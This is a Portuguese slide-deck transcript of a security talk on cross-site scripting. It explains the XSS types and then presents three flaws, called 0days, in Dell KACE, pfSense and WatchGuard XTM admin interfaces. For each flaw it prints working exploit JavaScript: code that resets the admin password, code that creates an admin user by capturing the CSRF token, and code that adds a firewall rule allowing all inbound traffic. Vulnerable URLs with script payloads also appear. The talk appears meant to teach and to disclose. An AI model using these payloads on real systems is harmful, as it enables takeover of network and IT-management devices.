Transcript
Page 1: Quem tem medo do XSS

Quem  tem  medo  de  XSS?

William  Costa  

Page 2: Quem tem medo do XSS

Composição  do  XSS.  Os  XSS’s  normalmente  são  divididos  em  3  categorias  

 Reflected  XSS    

           Stored  XSS    

   

                 DOM  Based  XSS      

Page 3: Quem tem medo do XSS

Reflected  XSS

Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina  de  pesquisa  ou  em  uma  variável. Ex:  hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected  XSS")</script>  

Page 4: Quem tem medo do XSS

Stored  XSS Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada  vez  que  a  pagina  for  acessada. Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros  

Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o  

Forum  recebem  a  tela  

 

Page 5: Quem tem medo do XSS

DOM  XSS O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  uJlizada  por  um  script     Ex:  Campos  de  interação  em  tempo  real.

           <img  src=search  onerror=alert('DOM_XSS')>  

 

Page 6: Quem tem medo do XSS

O  XSS  aparece  no  top  10  do  OWASP  desde  seu  primeiro  relatório.    

OWASP  Top  10  –  2003    Top            VulnerabiliIes  in  Web  ApplicaIons    A1  Unvalidated  Parameters  A2  Broken  Access  Control  A3  Broken  Account  and  Session  Management  A4  Cross-­‐Site  Scrip8ng  (XSS)  Flaws  A5  Buffer  Overflows  A6  Command  InjecIon  Flaws  A7  Error  Handling  Problems  A8  Insecure  Use  of  Cryptography  A9  Remote  AdministraIon  Flaws  A10    Web  and  ApplicaIon  Server  MisconfiguraIon  

Page 7: Quem tem medo do XSS

E  após  10  Anos  ele  conJnua  entre  os  10

•  OWASP  Top  10  –  2013  (New)      •  A1  –  InjecIon      •  A2  –  Broken  AuthenIcaIon  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip8ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  MisconfiguraIon      •  A6  –  SensiIve  Data  Exposure      •  A7  –  Missing  FuncIon  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards      

   

Page 8: Quem tem medo do XSS

Como  são  apresentadas  as  Falhas  de  XSS      

Page 9: Quem tem medo do XSS

Como  normalmente  é  apresentando  o  Impacto  do  XSS

     

Page 10: Quem tem medo do XSS

Como  elas  deferiam  ser  apresentadas

Page 11: Quem tem medo do XSS

Como  realmente  são  os  Impactos  dos  XSS

Page 12: Quem tem medo do XSS

                                                           Falha  #1  Dell  KACE  V.6.3.113397    Falha  na  pagina  de  criação  de  um  Ticket.  Proteções:    Flag  HFpOnly  Token  CSRF  URL  Vulnerável:  /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</script>

Page 13: Quem tem medo do XSS

Pagina  onde  ocorre  a  vulnerabilidade

Alguma  Ideia  de  como  podemos  ir  além  do  alert?

Page 14: Quem tem medo do XSS

Função  Alvo

Page 15: Quem tem medo do XSS

Exploit  para  alteração  da  senha  do  ADMIN.  

• Um  simples  Iframe  já  nos  possibilita  a  alteração  de  senha  do  usuário  administrador.    

 document.write('<iframe  width=0  height=0  name="xss"  src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10">  </iframe>');    funcIon  append(senha)  {  window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";  window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";  window.frames['xss'].document.UserForm.submit();  }  setTimeout("append(\"Imeout\")",2500);    

Page 16: Quem tem medo do XSS

                                                           Falha  #2  PFSENSE  V.  2.2.2  Falha  na  pagina  de  remoção  de    CapJves  portais.  Proteções:    Token  CSRF  Checagem  do  Header  HTTP_REFERER

Page 17: Quem tem medo do XSS

Pagina  onde  ocorre  a  vulnerabilidade

Alguma  Ideia  ?

Page 18: Quem tem medo do XSS

Função  Alvo

Page 19: Quem tem medo do XSS

Exploit  para  criação  de  Usuário  de  Administração.   • O  Exploit  cria  um  formulário  dentro  da  pagina  vulnerável  obtém  o  TOKEN  CSRF  da  mesma  e  envia  o  form  para  a  pagina  de  criação  de  usuários  “bypassando”  a  proteção  do  HTTP_REFERER    

document.write('<iframe  width=1000  height=1000  name="xss">  </iframe>');  xss.document.write('<body><form  id="CSRF"  acIon="hlp://192.168.217.100/system_usermanager.php"  method="post"  name="CSRF">');  xss.document.write('<input  name="__csrf_magic"  value=""</input>');  xss.document.write('<input  name="utype"  value="user">  </input>');  xss.document.write('<input  name="usernamefld"  value="teste">  </input>');  xss.document.write('<input  name="passwordfld1"  value="123456">  </input>');  xss.document.write('<input  name="passwordfld2"  value="123456">  </input>');  xss.document.write('<input  name="groups[]"  value="admins">  </input>');  xss.document.write('<input  name="save"  value="Save">  </input>');  xss.document.write('</form>');  xss.document.write('</body>');  window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;  window.frames['xss'].document.CSRF.submit();    

Page 20: Quem tem medo do XSS

Falha  #3  Firewall  WatchGuard  XTM  V.  11.10.B473826    Falha  na  pagina  de  Gerenciamento  de  Access  Point.  Proteções:    Token  CSRF  Flag  HFpOnly

Page 21: Quem tem medo do XSS

Pagina  onde  ocorre  a  vulnerabilidade  URL  Vulneravel:  /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script>

Ideias  ??

Page 22: Quem tem medo do XSS

Função  Alvo

Page 23: Quem tem medo do XSS

Exploit.   •  Vamos  usar  uma  função  JSON  que  envie  via  post  todas  informações  necessárias  para  criação  de  uma  poliIca  que  permita  tudo  de  fora  para  dentro  da  rede.    

   $.ajax({                  type:  "POST",                  url:  "hlps://10.0.1.1:8080/put_data/",                  data:  '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-­‐Rule","enabled":true,"descripIon":"Policy  added  on  2015-­‐05-­‐005T18:02:38-­‐03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐External","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐Trusted","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always  On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled":0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng":1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp":0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash":{},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs":[{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in�_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list":[],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',                    contentType:  "applicaIon/json;  charset=UTF-­‐8",  

 accept:  "*/*",                  dataType:  "json",                          });  

Page 24: Quem tem medo do XSS

As  3  vulnerabilidades  apresentadas  aqui  são  0days,  Baixem  e  façam  seus  próprios  testes  J    

Page 25: Quem tem medo do XSS

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

william.costa  arroba  gmail.com


Top Related